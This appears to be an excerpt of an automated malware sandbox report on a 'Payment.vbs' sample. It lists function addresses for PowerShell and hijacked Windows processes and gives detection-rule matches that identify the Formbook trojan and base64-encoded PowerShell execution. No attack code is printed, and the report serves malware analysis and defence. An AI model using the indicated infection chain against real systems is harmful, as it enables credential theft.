Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34620E05	8_2_00007FFD34620E05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34624EFD	8_2_00007FFD34624EFD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD346217D1	8_2_00007FFD346217D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD346F312D	8_2_00007FFD346F312D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00418823	10_2_00418823
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004100C3	10_2_004100C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004100BA	10_2_004100BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004169FE	10_2_004169FE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00416A03	10_2_00416A03
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004102E3	10_2_004102E3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0040E363	10_2_0040E363
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00403320	10_2_00403320
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0040E53B	10_2_0040E53B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0042EE43	10_2_0042EE43
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00402EA8	10_2_00402EA8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00402EB0	10_2_00402EB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00402790	10_2_00402790
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0395739A	10_2_0395739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E3F0	10_2_0391E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D03E6	10_2_039D03E6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C132D	10_2_039C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD34C	10_2_038FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CA352	10_2_039CA352
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039152A0	10_2_039152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B2C0	10_2_0392B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B12ED	10_2_039B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0274	10_2_039B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391B1B0	10_2_0391B1B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D01AA	10_2_039D01AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C81CC	10_2_039C81CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AA118	10_2_039AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03900100	10_2_03900100
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03998158	10_2_03998158
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DB16B	10_2_039DB16B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0394516C	10_2_0394516C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF172	10_2_038FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039170C0	10_2_039170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF0CC	10_2_039BF0CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C70E9	10_2_039C70E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CF0E0	10_2_039CF0E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CF7B0	10_2_039CF7B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390C7C0	10_2_0390C7C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03934750	10_2_03934750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C16CC	10_2_039C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392C6E0	10_2_0392C6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D0591	10_2_039D0591
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039AD5B0	10_2_039AD5B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910535	10_2_03910535
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C7571	10_2_039C7571
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BE4F6	10_2_039BE4F6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CF43F	10_2_039CF43F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C2446	10_2_039C2446
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03901460	10_2_03901460
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392FB80	10_2_0392FB80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C6BD7	10_2_039C6BD7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03985BF0	10_2_03985BF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0394DBF9	10_2_0394DBF9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CAB40	10_2_039CAB40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CFB76	10_2_039CFB76
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390EA80	10_2_0390EA80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03955AA0	10_2_03955AA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039ADAAC	10_2_039ADAAC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BDAC6	10_2_039BDAC6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CFA49	10_2_039CFA49
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C7A46	10_2_039C7A46
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03983A6C	10_2_03983A6C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039129A0	10_2_039129A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DA9A6	10_2_039DA9A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03919950	10_2_03919950
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B950	10_2_0392B950
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03926962	10_2_03926962
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F68B8	10_2_038F68B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393E8F0	10_2_0393E8F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039138E0	10_2_039138E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397D800	10_2_0397D800
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03912840	10_2_03912840
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391A840	10_2_0391A840
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911F92	10_2_03911F92
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CFFB1	10_2_039CFFB1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398EFA0	10_2_0398EFA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03902FC8	10_2_03902FC8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391CFE0	10_2_0391CFE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CFF09	10_2_039CFF09
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03930F30	10_2_03930F30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03952F28	10_2_03952F28
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03984F40	10_2_03984F40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03922E90	10_2_03922E90
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CCE93	10_2_039CCE93
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03919EB0	10_2_03919EB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CEEDB	10_2_039CEEDB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CEE26	10_2_039CEE26
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910E59	10_2_03910E59
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03928DBF	10_2_03928DBF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392FDC0	10_2_0392FDC0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390ADE0	10_2_0390ADE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391AD00	10_2_0391AD00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C1D5A	10_2_039C1D5A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03913D40	10_2_03913D40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C7D73	10_2_039C7D73
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039B0CB5	10_2_039B0CB5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03900CF2	10_2_03900CF2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CFCF2	10_2_039CFCF2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910C00	10_2_03910C00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03989C32	10_2_03989C32
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC4393	17_2_03AC4393
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACAAAE	17_2_03ACAAAE
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACAAB3	17_2_03ACAAB3
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC416A	17_2_03AC416A
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC4173	17_2_03AC4173
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AE2EF3	17_2_03AE2EF3
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC25EB	17_2_03AC25EB
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC2413	17_2_03AC2413
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0368D34C	19_2_0368D34C
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375A352	19_2_0375A352
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375132D	19_2_0375132D
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037603E6	19_2_037603E6
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036AE3F0	19_2_036AE3F0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036E739A	19_2_036E739A
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03740274	19_2_03740274
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037412ED	19_2_037412ED
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036BB2C0	19_2_036BB2C0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A52A0	19_2_036A52A0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036D516C	19_2_036D516C
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0368F172	19_2_0368F172
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0376B16B	19_2_0376B16B
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03690100	19_2_03690100
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0373A118	19_2_0373A118
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037581CC	19_2_037581CC
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036AB1B0	19_2_036AB1B0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037601AA	19_2_037601AA
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375F0E0	19_2_0375F0E0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037570E9	19_2_037570E9
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A70C0	19_2_036A70C0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0374F0CC	19_2_0374F0CC
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A0770	19_2_036A0770
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036C4750	19_2_036C4750
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0369C7C0	19_2_0369C7C0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375F7B0	19_2_0375F7B0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036BC6E0	19_2_036BC6E0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_037516CC	19_2_037516CC
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03757571	19_2_03757571
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A0535	19_2_036A0535
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0373D5B0	19_2_0373D5B0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03760591	19_2_03760591
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03691460	19_2_03691460
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03752446	19_2_03752446
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375F43F	19_2_0375F43F
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0374E4F6	19_2_0374E4F6
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375FB76	19_2_0375FB76
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375AB40	19_2_0375AB40
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036DDBF9	19_2_036DDBF9
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03756BD7	19_2_03756BD7
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036BFB80	19_2_036BFB80
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03713A6C	19_2_03713A6C
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03757A46	19_2_03757A46
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375FA49	19_2_0375FA49
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0374DAC6	19_2_0374DAC6
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036E5AA0	19_2_036E5AA0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0373DAAC	19_2_0373DAAC
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0369EA80	19_2_0369EA80
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036B6962	19_2_036B6962
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A9950	19_2_036A9950
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036BB950	19_2_036BB950
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A29A0	19_2_036A29A0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0376A9A6	19_2_0376A9A6
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A2840	19_2_036A2840
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036AA840	19_2_036AA840
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0370D800	19_2_0370D800
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A38E0	19_2_036A38E0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036CE8F0	19_2_036CE8F0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036868B8	19_2_036868B8
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03714F40	19_2_03714F40
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036E2F28	19_2_036E2F28
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036C0F30	19_2_036C0F30
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375FF09	19_2_0375FF09
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036ACFE0	19_2_036ACFE0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03692FC8	19_2_03692FC8
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375FFB1	19_2_0375FFB1
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A1F92	19_2_036A1F92
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A0E59	19_2_036A0E59
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375EE26	19_2_0375EE26
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375EEDB	19_2_0375EEDB
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A9EB0	19_2_036A9EB0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375CE93	19_2_0375CE93
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036B2E90	19_2_036B2E90
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03757D73	19_2_03757D73
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A3D40	19_2_036A3D40
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03751D5A	19_2_03751D5A
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036AAD00	19_2_036AAD00
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0369ADE0	19_2_0369ADE0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036BFDC0	19_2_036BFDC0
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036B8DBF	19_2_036B8DBF
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03719C32	19_2_03719C32
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036A0C00	19_2_036A0C00
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0375FCF2	19_2_0375FCF2
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03690CF2	19_2_03690CF2
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03740CB5	19_2_03740CB5
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356F02A	19_2_0356F02A
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356E358	19_2_0356E358
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356CB18	19_2_0356CB18
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_03575304	19_2_03575304
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356CA7C	19_2_0356CA7C
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356D878	19_2_0356D878
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356E80C	19_2_0356E80C
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_0356E473	19_2_0356E473
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A1E44D	24_2_04A1E44D
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A3ED55	24_2_04A3ED55
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A1FFCC	24_2_04A1FFCC
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A1FFD5	24_2_04A1FFD5
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A28735	24_2_04A28735
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A25085	24_2_04A25085
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A201F5	24_2_04A201F5
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A26910	24_2_04A26910
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A26915	24_2_04A26915
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 24_2_04A1E275	24_2_04A1E275

Source: C:\Windows\SysWOW64\convert.exe	Code function: String function: 036D5130 appears 36 times
Source: C:\Windows\SysWOW64\convert.exe	Code function: String function: 0371F290 appears 105 times
Source: C:\Windows\SysWOW64\convert.exe	Code function: String function: 0368B970 appears 266 times
Source: C:\Windows\SysWOW64\convert.exe	Code function: String function: 036E7E54 appears 89 times
Source: C:\Windows\SysWOW64\convert.exe	Code function: String function: 0370EA12 appears 84 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 03945130 appears 36 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 0397EA12 appears 86 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 03957E54 appears 96 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 0398F290 appears 105 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 038FB970 appears 268 times

Source: Payment.vbs

Initial sample: Strings found which are bigger than 50

Source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2436, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
